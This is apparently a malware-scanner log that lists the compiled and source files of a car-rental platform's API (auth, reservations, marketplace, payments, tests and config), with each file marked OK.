+/scan/apps/api/dist/modules/complaints/complaint.routes.js.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.repo.d.ts: OK
+/scan/apps/api/dist/modules/complaints/complaint.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.presenter.js: OK
+/scan/apps/api/dist/modules/auth/auth.company.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.service.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.routes.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.routes.js: OK
+/scan/apps/api/dist/modules/auth/auth.employee.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.service.js: OK
+/scan/apps/api/dist/modules/auth/auth.company.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.schemas.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.company.schemas.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.company.repo.js: OK
+/scan/apps/api/dist/modules/auth/auth.employee.service.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.employee.repo.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.renter.repo.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.employee.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.repo.js: OK
+/scan/apps/api/dist/modules/auth/auth.renter.routes.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.presenter.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.employee.schemas.js: OK
+/scan/apps/api/dist/modules/auth/auth.renter.service.js: OK
+/scan/apps/api/dist/modules/auth/auth.company.service.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.service.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.repo.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.service.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.routes.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.renter.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.schemas.js: OK
+/scan/apps/api/dist/modules/auth/auth.employee.routes.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.employee.routes.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.service.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.routes.js: OK
+/scan/apps/api/dist/modules/auth/auth.employee.repo.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.routes.js: OK
+/scan/apps/api/dist/modules/auth/auth.renter.service.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.renter.repo.js: OK
+/scan/apps/api/dist/modules/auth/auth.renter.schemas.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.schemas.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.employee.service.d.ts.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.service.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.company.repo.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.company.routes.d.ts: OK
+/scan/apps/api/dist/modules/auth/auth.presenter.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.schemas.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.renter.schemas.js: OK
+/scan/apps/api/dist/modules/auth/auth.company.schemas.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.company.repo.js.map: OK
+/scan/apps/api/dist/modules/auth/auth.employee.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.inspection.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.routes.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.routes.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.document.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.routes.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.repo.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.inspection.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.pricing.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.document.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.presenter.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.additional-driver.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.repo.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.presenter.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.additional-driver.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.photo.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.photo.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.insurance.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.lifecycle.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.lifecycle.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.inspection.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.inspection.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.pricing.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.presenter.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.photo.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.insurance.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.additional-driver.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.schemas.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.pricing.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.document.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.pricing.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.photo.service.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.insurance.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.schemas.js: OK
+/scan/apps/api/dist/modules/reservations/reservation.repo.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.schemas.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.lifecycle.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.additional-driver.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.document.service.js.map: OK
+/scan/apps/api/dist/modules/reservations/reservation.insurance.service.d.ts: OK
+/scan/apps/api/dist/modules/reservations/reservation.lifecycle.service.d.ts.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.routes.js: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.routes.js.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.schemas.js: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.service.d.ts.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.schemas.d.ts: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.repo.js.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.routes.d.ts: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.service.d.ts: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.presenter.js: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.schemas.js.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.service.js: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.service.js.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.presenter.d.ts: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.repo.d.ts: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.presenter.js.map: OK
+/scan/apps/api/dist/modules/marketplace/marketplace.repo.js: OK
+/scan/apps/api/dist/modules/admin/admin.repo.d.ts: OK
+/scan/apps/api/dist/modules/admin/admin.service.js: OK
+/scan/apps/api/dist/modules/admin/admin.billing.service.js: OK
+/scan/apps/api/dist/modules/admin/admin.billing.service.d.ts: OK
+/scan/apps/api/dist/modules/admin/admin.repo.js: OK
+/scan/apps/api/dist/modules/admin/admin.billing.service.d.ts.map: OK
+/scan/apps/api/dist/modules/admin/admin.service.d.ts.map: OK
+/scan/apps/api/dist/modules/admin/admin.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/admin/admin.repo.js.map: OK
+/scan/apps/api/dist/modules/admin/admin.routes.js.map: OK
+/scan/apps/api/dist/modules/admin/admin.presenter.js: OK
+/scan/apps/api/dist/modules/admin/admin.service.d.ts: OK
+/scan/apps/api/dist/modules/admin/admin.routes.d.ts: OK
+/scan/apps/api/dist/modules/admin/admin.schemas.js: OK
+/scan/apps/api/dist/modules/admin/admin.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/admin/admin.schemas.d.ts: OK
+/scan/apps/api/dist/modules/admin/admin.schemas.js.map: OK
+/scan/apps/api/dist/modules/admin/admin.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/admin/admin.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/admin/admin.service.js.map: OK
+/scan/apps/api/dist/modules/admin/admin.billing.service.js.map: OK
+/scan/apps/api/dist/modules/admin/admin.presenter.js.map: OK
+/scan/apps/api/dist/modules/admin/admin.presenter.d.ts: OK
+/scan/apps/api/dist/modules/admin/admin.routes.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.schemas.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.policy.d.ts.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.entitlement.d.ts: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.repo.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.routes.js.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.entitlement.js.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.entitlement.d.ts.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.schemas.d.ts: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.routes.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.entitlement.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.policy.d.ts: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.service.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.routes.d.ts: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.repo.js.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.repo.d.ts: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.service.d.ts: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.service.d.ts.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.schemas.js.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.service.js.map: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.policy.js: OK
+/scan/apps/api/dist/modules/subscriptions/subscription.policy.js.map: OK
+/scan/apps/api/dist/modules/team/team.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/team/team.service.d.ts.map: OK
+/scan/apps/api/dist/modules/team/team.service.d.ts: OK
+/scan/apps/api/dist/modules/team/team.service.js: OK
+/scan/apps/api/dist/modules/team/team.routes.js: OK
+/scan/apps/api/dist/modules/team/team.routes.d.ts: OK
+/scan/apps/api/dist/modules/team/team.service.js.map: OK
+/scan/apps/api/dist/modules/team/team.routes.js.map: OK
+/scan/apps/api/dist/modules/team/team.schemas.d.ts: OK
+/scan/apps/api/dist/modules/team/team.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/team/team.schemas.js: OK
+/scan/apps/api/dist/modules/team/team.schemas.js.map: OK
+/scan/apps/api/dist/modules/menu/menu.service.d.ts.map: OK
+/scan/apps/api/dist/modules/menu/menu.service.js.map: OK
+/scan/apps/api/dist/modules/menu/menu.service.js: OK
+/scan/apps/api/dist/modules/menu/menu.service.d.ts: OK
+/scan/apps/api/dist/modules/site/site.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/site/site.service.js.map: OK
+/scan/apps/api/dist/modules/site/site.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/site/site.presenter.d.ts: OK
+/scan/apps/api/dist/modules/site/site.presenter.js.map: OK
+/scan/apps/api/dist/modules/site/site.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/site/site.routes.js: OK
+/scan/apps/api/dist/modules/site/site.schemas.d.ts: OK
+/scan/apps/api/dist/modules/site/site.service.js: OK
+/scan/apps/api/dist/modules/site/site.schemas.js.map: OK
+/scan/apps/api/dist/modules/site/site.repo.js: OK
+/scan/apps/api/dist/modules/site/site.service.d.ts.map: OK
+/scan/apps/api/dist/modules/site/site.routes.js.map: OK
+/scan/apps/api/dist/modules/site/site.service.d.ts: OK
+/scan/apps/api/dist/modules/site/site.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/site/site.repo.d.ts: OK
+/scan/apps/api/dist/modules/site/site.presenter.js: OK
+/scan/apps/api/dist/modules/site/site.schemas.js: OK
+/scan/apps/api/dist/modules/site/site.routes.d.ts: OK
+/scan/apps/api/dist/modules/site/site.repo.js.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.service.d.ts: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.service.d.ts.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.presenter.js: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.repo.d.ts: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.schemas.js.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.service.js.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.schemas.js: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.presenter.d.ts: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.repo.js.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.routes.d.ts: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.routes.js.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.presenter.js.map: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.service.js: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.routes.js: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.schemas.d.ts: OK
+/scan/apps/api/dist/modules/vehicles/vehicle.repo.js: OK
+/scan/apps/api/dist/modules/webhooks/webhook.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/webhooks/webhook.routes.d.ts: OK
+/scan/apps/api/dist/modules/webhooks/webhook.routes.js.map: OK
+/scan/apps/api/dist/modules/webhooks/webhook.routes.js: OK
+/scan/apps/api/dist/modules/notifications/notification.service.d.ts.map: OK
+/scan/apps/api/dist/modules/notifications/notification.schemas.d.ts: OK
+/scan/apps/api/dist/modules/notifications/notification.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/notifications/notification.schemas.js: OK
+/scan/apps/api/dist/modules/notifications/notification.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/notifications/notification.routes.js: OK
+/scan/apps/api/dist/modules/notifications/notification.routes.js.map: OK
+/scan/apps/api/dist/modules/notifications/notification.schemas.js.map: OK
+/scan/apps/api/dist/modules/notifications/notification.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/notifications/notification.repo.d.ts: OK
+/scan/apps/api/dist/modules/notifications/notification.repo.js: OK
+/scan/apps/api/dist/modules/notifications/notification.service.js: OK
+/scan/apps/api/dist/modules/notifications/notification.service.js.map: OK
+/scan/apps/api/dist/modules/notifications/notification.repo.js.map: OK
+/scan/apps/api/dist/modules/notifications/notification.service.d.ts: OK
+/scan/apps/api/dist/modules/notifications/notification.routes.d.ts: OK
+/scan/apps/api/dist/modules/companies/company.schemas.d.ts: OK
+/scan/apps/api/dist/modules/companies/company.routes.js: OK
+/scan/apps/api/dist/modules/companies/company.presenter.js.map: OK
+/scan/apps/api/dist/modules/companies/company.repo.js.map: OK
+/scan/apps/api/dist/modules/companies/company.schemas.js: OK
+/scan/apps/api/dist/modules/companies/company.routes.js.map: OK
+/scan/apps/api/dist/modules/companies/company.routes.d.ts: OK
+/scan/apps/api/dist/modules/companies/company.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/companies/company.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/companies/company.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/companies/company.schemas.js.map: OK
+/scan/apps/api/dist/modules/companies/company.repo.d.ts: OK
+/scan/apps/api/dist/modules/companies/company.service.js: OK
+/scan/apps/api/dist/modules/companies/company.service.js.map: OK
+/scan/apps/api/dist/modules/companies/company.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/companies/company.service.d.ts.map: OK
+/scan/apps/api/dist/modules/companies/company.presenter.js: OK
+/scan/apps/api/dist/modules/companies/company.presenter.d.ts: OK
+/scan/apps/api/dist/modules/companies/company.service.d.ts: OK
+/scan/apps/api/dist/modules/companies/company.repo.js: OK
+/scan/apps/api/dist/modules/analytics/analytics.routes.d.ts: OK
+/scan/apps/api/dist/modules/analytics/analytics.routes.js.map: OK
+/scan/apps/api/dist/modules/analytics/analytics.service.d.ts.map: OK
+/scan/apps/api/dist/modules/analytics/analytics.service.d.ts: OK
+/scan/apps/api/dist/modules/analytics/analytics.routes.js: OK
+/scan/apps/api/dist/modules/analytics/analytics.service.js: OK
+/scan/apps/api/dist/modules/analytics/analytics.schemas.d.ts: OK
+/scan/apps/api/dist/modules/analytics/analytics.schemas.js.map: OK
+/scan/apps/api/dist/modules/analytics/analytics.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/analytics/analytics.service.js.map: OK
+/scan/apps/api/dist/modules/analytics/analytics.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/analytics/analytics.schemas.js: OK
+/scan/apps/api/dist/modules/reviews/review.schemas.js.map: OK
+/scan/apps/api/dist/modules/reviews/review.service.d.ts.map: OK
+/scan/apps/api/dist/modules/reviews/review.schemas.js: OK
+/scan/apps/api/dist/modules/reviews/review.routes.js.map: OK
+/scan/apps/api/dist/modules/reviews/review.routes.d.ts: OK
+/scan/apps/api/dist/modules/reviews/review.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/reviews/review.schemas.d.ts: OK
+/scan/apps/api/dist/modules/reviews/review.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/reviews/review.repo.js.map: OK
+/scan/apps/api/dist/modules/reviews/review.service.js.map: OK
+/scan/apps/api/dist/modules/reviews/review.routes.js: OK
+/scan/apps/api/dist/modules/reviews/review.repo.d.ts: OK
+/scan/apps/api/dist/modules/reviews/review.service.d.ts: OK
+/scan/apps/api/dist/modules/reviews/review.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/reviews/review.repo.js: OK
+/scan/apps/api/dist/modules/reviews/review.service.js: OK
+/scan/apps/api/dist/routes/subscriptions.js: OK
+/scan/apps/api/dist/routes/customers.d.ts.map: OK
+/scan/apps/api/dist/routes/subscriptions.d.ts.map: OK
+/scan/apps/api/dist/routes/offers.d.ts: OK
+/scan/apps/api/dist/routes/vehicles.js.map: OK
+/scan/apps/api/dist/routes/marketplace.d.ts.map: OK
+/scan/apps/api/dist/routes/site.d.ts: OK
+/scan/apps/api/dist/routes/marketplace.js.map: OK
+/scan/apps/api/dist/routes/offers.js.map: OK
+/scan/apps/api/dist/routes/auth.employee.js.map: OK
+/scan/apps/api/dist/routes/auth.renter.js.map: OK
+/scan/apps/api/dist/routes/offers.js: OK
+/scan/apps/api/dist/routes/webhooks.d.ts: OK
+/scan/apps/api/dist/routes/team.js: OK
+/scan/apps/api/dist/routes/auth.renter.js: OK
+/scan/apps/api/dist/routes/auth.renter.d.ts.map: OK
+/scan/apps/api/dist/routes/companies.js.map: OK
+/scan/apps/api/dist/routes/notifications.d.ts.map: OK
+/scan/apps/api/dist/routes/auth.company.js.map: OK
+/scan/apps/api/dist/routes/customers.js.map: OK
+/scan/apps/api/dist/routes/analytics.d.ts: OK
+/scan/apps/api/dist/routes/payments.js.map: OK
+/scan/apps/api/dist/routes/team.js.map: OK
+/scan/apps/api/dist/routes/webhooks.js.map: OK
+/scan/apps/api/dist/routes/notifications.js.map: OK
+/scan/apps/api/dist/routes/vehicles.d.ts: OK
+/scan/apps/api/dist/routes/reservations.d.ts.map: OK
+/scan/apps/api/dist/routes/site.js.map: OK
+/scan/apps/api/dist/routes/admin.d.ts.map: OK
+/scan/apps/api/dist/routes/auth.employee.d.ts.map: OK
+/scan/apps/api/dist/routes/customers.d.ts: OK
+/scan/apps/api/dist/routes/auth.renter.d.ts: OK
+/scan/apps/api/dist/routes/companies.d.ts.map: OK
+/scan/apps/api/dist/routes/site.d.ts.map: OK
+/scan/apps/api/dist/routes/auth.company.d.ts.map: OK
+/scan/apps/api/dist/routes/auth.company.d.ts: OK
+/scan/apps/api/dist/routes/marketplace.d.ts: OK
+/scan/apps/api/dist/routes/payments.js: OK
+/scan/apps/api/dist/routes/analytics.js.map: OK
+/scan/apps/api/dist/routes/team.d.ts.map: OK
+/scan/apps/api/dist/routes/customers.js: OK
+/scan/apps/api/dist/routes/vehicles.d.ts.map: OK
+/scan/apps/api/dist/routes/companies.js: OK
+/scan/apps/api/dist/routes/analytics.d.ts.map: OK
+/scan/apps/api/dist/routes/admin.js.map: OK
+/scan/apps/api/dist/routes/reservations.d.ts: OK
+/scan/apps/api/dist/routes/subscriptions.d.ts: OK
+/scan/apps/api/dist/routes/webhooks.js: OK
+/scan/apps/api/dist/routes/analytics.js: OK
+/scan/apps/api/dist/routes/payments.d.ts: OK
+/scan/apps/api/dist/routes/companies.d.ts: OK
+/scan/apps/api/dist/routes/webhooks.d.ts.map: OK
+/scan/apps/api/dist/routes/reservations.js: OK
+/scan/apps/api/dist/routes/notifications.d.ts: OK
+/scan/apps/api/dist/routes/auth.company.js: OK
+/scan/apps/api/dist/routes/reservations.js.map: OK
+/scan/apps/api/dist/routes/admin.js: OK
+/scan/apps/api/dist/routes/site.js: OK
+/scan/apps/api/dist/routes/admin.d.ts: OK
+/scan/apps/api/dist/routes/auth.employee.d.ts: OK
+/scan/apps/api/dist/routes/auth.employee.js: OK
+/scan/apps/api/dist/routes/team.d.ts: OK
+/scan/apps/api/dist/routes/offers.d.ts.map: OK
+/scan/apps/api/dist/routes/notifications.js: OK
+/scan/apps/api/dist/routes/marketplace.js: OK
+/scan/apps/api/dist/routes/vehicles.js: OK
+/scan/apps/api/dist/routes/subscriptions.js.map: OK
+/scan/apps/api/dist/routes/payments.d.ts.map: OK
+/scan/apps/api/dist/app.js: OK
+/scan/apps/api/dist/services/additionalDriverService.d.ts: OK
+/scan/apps/api/dist/services/teamService.d.ts: OK
+/scan/apps/api/dist/services/vehicleAvailabilityService.d.ts.map: OK
+/scan/apps/api/dist/services/insuranceService.d.ts.map: OK
+/scan/apps/api/dist/services/paypalService.d.ts: OK
+/scan/apps/api/dist/services/platformContentService.d.ts.map: OK
+/scan/apps/api/dist/services/paypalService.js: OK
+/scan/apps/api/dist/services/invoicePdfService.d.ts: OK
+/scan/apps/api/dist/services/financialReportService.js: OK
+/scan/apps/api/dist/services/licenseValidationService.d.ts.map: OK
+/scan/apps/api/dist/services/teamService.js.map: OK
+/scan/apps/api/dist/services/amanpayService.js.map: OK
+/scan/apps/api/dist/services/vehicleAvailabilityService.d.ts: OK
+/scan/apps/api/dist/services/insuranceService.js.map: OK
+/scan/apps/api/dist/services/platformContentService.js: OK
+/scan/apps/api/dist/services/pricingRuleService.d.ts.map: OK
+/scan/apps/api/dist/services/licenseValidationService.js.map: OK
+/scan/apps/api/dist/services/containerService.js.map: OK
+/scan/apps/api/dist/services/amanpayService.js: OK
+/scan/apps/api/dist/services/vehicleAvailabilityService.js: OK
+/scan/apps/api/dist/services/platformContentService.d.ts: OK
+/scan/apps/api/dist/services/pricingRuleService.js.map: OK
+/scan/apps/api/dist/services/notificationService.d.ts: OK
+/scan/apps/api/dist/services/insuranceService.js: OK
+/scan/apps/api/dist/services/notificationLocalizationService.js.map: OK
+/scan/apps/api/dist/services/financialReportService.d.ts.map: OK
+/scan/apps/api/dist/services/pricingRuleService.d.ts: OK
+/scan/apps/api/dist/services/notificationService.d.ts.map: OK
+/scan/apps/api/dist/services/invoicePdfService.js: OK
+/scan/apps/api/dist/services/pricingRuleService.js: OK
+/scan/apps/api/dist/services/paypalService.js.map: OK
+/scan/apps/api/dist/services/platformContentService.js.map: OK
+/scan/apps/api/dist/services/containerService.d.ts: OK
+/scan/apps/api/dist/services/notificationLocalizationService.d.ts: OK
+/scan/apps/api/dist/services/amanpayService.d.ts: OK
+/scan/apps/api/dist/services/additionalDriverService.d.ts.map: OK
+/scan/apps/api/dist/services/containerService.js: OK
+/scan/apps/api/dist/services/financialReportService.d.ts: OK
+/scan/apps/api/dist/services/licenseValidationService.js: OK
+/scan/apps/api/dist/services/invoicePdfService.d.ts.map: OK
+/scan/apps/api/dist/services/licenseValidationService.d.ts: OK
+/scan/apps/api/dist/services/notificationLocalizationService.js: OK
+/scan/apps/api/dist/services/teamService.d.ts.map: OK
+/scan/apps/api/dist/services/financialReportService.js.map: OK
+/scan/apps/api/dist/services/teamService.js: OK
+/scan/apps/api/dist/services/containerService.d.ts.map: OK
+/scan/apps/api/dist/services/invoicePdfService.js.map: OK
+/scan/apps/api/dist/services/notificationService.js.map: OK
+/scan/apps/api/dist/services/notificationService.js: OK
+/scan/apps/api/dist/services/additionalDriverService.js: OK
+/scan/apps/api/dist/services/additionalDriverService.js.map: OK
+/scan/apps/api/dist/services/vehicleAvailabilityService.js.map: OK
+/scan/apps/api/dist/services/insuranceService.d.ts: OK
+/scan/apps/api/dist/services/paypalService.d.ts.map: OK
+/scan/apps/api/dist/services/notificationLocalizationService.d.ts.map: OK
+/scan/apps/api/dist/services/amanpayService.d.ts.map: OK
+/scan/apps/api/dist/index.d.ts.map: OK
+/scan/apps/api/tsconfig.vehicle-pricing.json: OK
+/scan/apps/api/node_modules/.vite/vitest/results.json: OK
+/scan/apps/api/.env.test: OK
+/scan/apps/api/storage/companies/cmpbosg0o0001bh8tc433zxt2/brand/logo.jpg: OK
+/scan/apps/api/storage/companies/cmpbosg0o0001bh8tc433zxt2/vehicles/8ac87707c95ec18767e3b89e9ee21a21.jpg: OK
+/scan/apps/api/vitest.integration.config.ts: OK
+/scan/apps/api/.turbo/turbo-build.log: OK
+/scan/apps/api/package.json: OK
+/scan/apps/api/tsconfig.json: OK
+/scan/apps/api/vitest.config.ts: OK
+/scan/apps/api/src/middleware/rateLimiter.ts: OK
+/scan/apps/api/src/middleware/requireRole.ts: OK
+/scan/apps/api/src/middleware/requireTenant.ts: OK
+/scan/apps/api/src/middleware/requireSubscription.ts: OK
+/scan/apps/api/src/middleware/requireRenterAuth.ts: OK
+/scan/apps/api/src/middleware/authHelpers.ts: OK
+/scan/apps/api/src/middleware/requireAdminAuth.ts: OK
+/scan/apps/api/src/middleware/requireApiKey.ts: OK
+/scan/apps/api/src/middleware/requireCompanyAuth.ts: OK
+/scan/apps/api/src/types/express.d.ts: OK
+/scan/apps/api/src/.DS_Store: OK
+/scan/apps/api/src/swagger/openapi.ts: OK
+/scan/apps/api/src/app.ts: OK
+/scan/apps/api/src/tests/integration/subscriptions.test.ts: OK
+/scan/apps/api/src/tests/integration/notifications.test.ts: OK
+/scan/apps/api/src/tests/integration/vehicles.test.ts: OK
+/scan/apps/api/src/tests/integration/auth-company-signup.test.ts: OK
+/scan/apps/api/src/tests/integration/admin.test.ts: OK
+/scan/apps/api/src/tests/integration/reservations.test.ts: OK
+/scan/apps/api/src/tests/integration/customers.test.ts: OK
+/scan/apps/api/src/tests/integration/companies.test.ts: OK
+/scan/apps/api/src/tests/integration/health.test.ts: OK
+/scan/apps/api/src/tests/integration/payments.test.ts: OK
+/scan/apps/api/src/tests/setup.ts: OK
+/scan/apps/api/src/tests/helpers/fixtures.ts: OK
+/scan/apps/api/src/http/validate/index.ts: OK
+/scan/apps/api/src/http/respond/index.ts: OK
+/scan/apps/api/src/http/errors/index.ts: OK
+/scan/apps/api/src/http/errors/errorMiddleware.ts: OK
+/scan/apps/api/src/http/upload/index.ts: OK
+/scan/apps/api/src/lib/prisma.ts: OK
+/scan/apps/api/src/lib/isDatabaseUnavailable.ts: OK
+/scan/apps/api/src/lib/.DS_Store: OK
+/scan/apps/api/src/lib/storage.ts: OK
